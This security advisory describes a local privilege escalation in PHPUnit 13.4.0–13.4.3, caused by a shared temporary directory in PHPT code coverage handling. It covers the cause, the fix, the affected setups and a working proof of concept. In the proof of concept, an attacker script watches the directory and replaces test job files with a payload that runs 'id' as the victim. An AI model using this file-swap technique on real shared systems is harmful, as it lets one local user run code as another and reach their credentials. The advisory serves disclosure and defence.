PHPUnit vulnerable to code execution by other local users via shared temporary directory in PHPT code coverage handling

When another user created the directory, that user owns it. The owner of a directory can list its contents and rename, delete, or replace every file in it, regardless of who owns the file. The directory does not have the sticky bit set, so protections such as Linux's fs.protected_regular and fs.protected_symlinks do not apply either. The random part of the file names therefore does not prevent the attack: the attacker waits for the job file to appear, renames it, and puts a file with their own code in its place. The attacker's code can then execute the original job file, so that the test passes and the code coverage report is complete.

The .coverage file can be replaced in the same way. TestCase::cleanupForCoverage() only allows objects of PHPUnit's class for raw code coverage data to be unserialized from it, so this only allows the falsification of code coverage data.

After the test, PHPUnit deletes both files, but not the directory. Once PHPUnit has created the directory for the developer, other users cannot write to it, unless the developer's umask allows this.

PHPUnit 12.5 and earlier are not affected: these versions write the temporary files next to the PHPT test file.

PHPUnit 13.4.4 creates the directory for the temporary files of PHPT tests with an unpredictable name and with permissions that only allow the current user to access it. A directory that already exists is not used.

Proof of concept

The following steps reproduce the issue on a Linux system with two users, alice (the developer) and mallory (the attacker), that share /tmp. They require PHP 8.4.1 or later with the posix extension and a code coverage driver (PCOV or Xdebug) as well as Composer.

1. As root, create the two users and make sure that /tmp has its default permissions (1777) and that /tmp/phpunit-phpt does not exist:

   useradd -m alice
   useradd -m mallory
   ls -ld /tmp
   rm -rf /tmp/phpunit-phpt
   

2. As alice, create a project with a PHPT test and a source file to collect code coverage for:

   mkdir -p ~/project/src ~/project/tests
   cd ~/project
   composer require --dev phpunit/phpunit:13.4.3
   

   ~/project/src/Greeter.php:

   <?php declare(strict_types=1);
   final class Greeter
   {
       public function greet(): string
       {
           return 'ok';
       }
   }
   

   ~/project/tests/greeter.phpt:

   --TEST--
   PHPT test that is run with code coverage
   --FILE--
   <?php declare(strict_types=1);
   require __DIR__ . '/../src/Greeter.php';
   print (new Greeter)->greet();
   --EXPECT--
   ok
   

   ~/project/phpunit.xml:

   <?xml version="1.0" encoding="UTF-8"?>
   <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xsi:noNamespaceSchemaLocation="vendor/phpunit/phpunit/phpunit.xsd">
       <source>
           <include>
               <directory>src</directory>
           </include>
       </source>
   </phpunit>
   

3. As mallory, save the following script as ~/attack.php and run it using php ~/attack.php. It creates /tmp/phpunit-phpt, waits for job files to appear in it, and replaces each of them with code that records the identity of the user that executes it and then executes the original job file:

   <?php declare(strict_types=1);
   $directory = '/tmp/phpunit-phpt';
   
   if (!@mkdir($directory)) {
       exit($directory . ' already exists' . PHP_EOL);
   }
   
   chmod($directory, 0777);
   
   $payload = '<?php file_put_contents(__DIR__ . "/proof.txt", shell_exec("id"), FILE_APPEND); require __FILE__ . ".orig";' . PHP_EOL;
   $replaced = [];
   
   while (true) {
       foreach (glob($directory . '/phpunit_phpt_*.php') as $job) {
           if (isset($replaced[$job])) {
               continue;
           }
   
           $replaced[$job] = true;
   
           file_put_contents($directory . '/payload.tmp', $payload);
           rename($job, $job . '.orig');
           rename($directory . '/payload.tmp', $job);
   
           print 'Replaced ' . $job . PHP_EOL;
       }
   
       usleep(1000);
   }
   

4. As alice, run the PHPT test with code coverage (when Xdebug is used, prefix the command with XDEBUG_MODE=coverage):

   cd ~/project
   vendor/bin/phpunit --coverage-text tests/greeter.phpt
   

   PHPUnit reports OK (1 test, 1 assertion), and the code coverage report shows that Greeter::greet() is covered. Nothing in the output indicates that the code of the test was replaced.

5. Check which user executed the code that mallory put in place:

   cat /tmp/phpunit-phpt/proof.txt
   

   The file is owned by alice and contains the output of id for alice, for instance:

   uid=1000(alice) gid=1000(alice) groups=1000(alice)
   

Impact

This is a local privilege escalation (CWE-379: Creation of Temporary File in Directory with Incorrect Permissions). A local user can execute arbitrary code with the privileges of another user who runs PHPT tests with code coverage. This gives the attacker access to everything the developer can access, for instance source code, credentials, and SSH keys.

Affected are users of PHPUnit 13.4.0 to 13.4.3 when all of the following apply:

• PHPT tests with code coverage: PHPT tests are run while code coverage is collected, which requires a code coverage driver such as PCOV or Xdebug
• Shared path for temporary files: The path used for temporary files (sys_get_temp_dir()) is shared between users. This is the case on Linux and other Unix-like systems with a shared /tmp, unless per-user temporary directories are used, for instance through systemd's PrivateTmp, pam_namespace, or a per-user TMPDIR. On macOS and Windows, the path used for temporary files is specific to the user by default
• Local account: The attacker has an account on the same system, or controls a process that runs under another account, for instance a service
• First to create the directory: The attacker creates the directory before the developer runs PHPT tests with code coverage for the first time since the path used for temporary files was last cleaned

Systems on which no other user, including system accounts that run services, can create files in the path used for temporary files are not affected. This is typically the case for a container or an ephemeral CI runner that is used by a single user.